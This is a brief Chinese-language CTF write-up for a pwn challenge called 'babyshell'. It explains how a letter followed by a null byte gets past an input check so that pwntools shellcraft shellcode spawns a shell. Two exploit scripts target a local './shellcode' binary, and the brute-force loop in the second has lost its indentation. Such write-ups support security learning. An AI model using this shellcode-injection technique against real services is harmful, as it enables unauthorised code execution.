babyshell
给的提示是 a easy shellcode
所以可以思考就是要写入shellcode
来看一下ida里面的情况
根据逻辑,只要让函数return 1,这样的话指针指向buf,buf里面写shellcode就会正常执行了
所以,这里要先进循环,然后截断使他可以return 1,然后下面写shellcode
这里用什么字符让他进入循环,并且可以使shellcode被正常执行,这是需要思考的
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./shellcode")
p.recvuntil("plz:\n")
pay='s\x00'+asm(shellcraft.sh())
p.sendline(pay)
p.interactive()
pay='s\x00'+asm(shellcraft.sh())
核心语句在这里,这里用s是机器语言的原因,不同的字符写进去,机器语言结果会不太一样
也就是说碰巧用s就成功了,所以建议写个list,运行一下,一定可以getshell的
可以看出来字符不一样,机器指令会不一样,这就会影响到能不能getshell
有列表的exp,跑一下,就可以出来
from pwn import *
import string
list = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
for x in list:
context(os='linux', arch='amd64', log_level='debug')
p = process("./shellcode")
p.recvuntil("plz:\n")
pay = x + '\x00' + asm(shellcraft.sh())
try:
p.sendline(pay)
p.interactive()
except:
continue